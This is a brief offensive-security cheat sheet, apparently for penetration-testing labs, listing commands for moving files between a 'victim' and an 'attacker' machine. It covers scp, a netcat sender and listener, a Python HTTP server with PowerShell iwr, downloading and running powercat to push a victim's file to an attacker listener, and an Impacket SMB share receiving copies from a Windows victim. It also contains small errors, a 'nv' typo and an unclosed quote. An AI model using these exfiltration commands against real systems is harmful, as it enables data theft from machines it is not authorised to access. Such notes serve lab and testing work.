File Transfers

File Transfers

SCP

If you already have a public SSH key of a remote machine and want to transfer a local file:

scp -i id_rsa /filename user@remote:/directory

Netcat

// Sender
nc $Receiver_IP 443 < file

// Receiver
nv -lvp 443 > file

Powershell

python3 -m http.server 80        #Local machine

iwr -uri "http://10.10.14.46"    #Remote machine

Powercat

//To send from victim (remote) to attacker (local) machine.
#Download powercat on local machine
wget https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1

#Send to remote machine
python3 -m http.server 80
iwr -uri "http://10.10.14.46

#Start listening on local machine
nc -lvnp $PORT

#Send file to local machine
powercat -c $IP $PORT -i C:\filename

Impacket SMB Server (Windows to Kali)

# Kali:
sudo impacket-smbserver myserver $(pwd) -smb2support

# Windows Victim:
copy filename \\10.10.16.3\myserver\filename

Last updated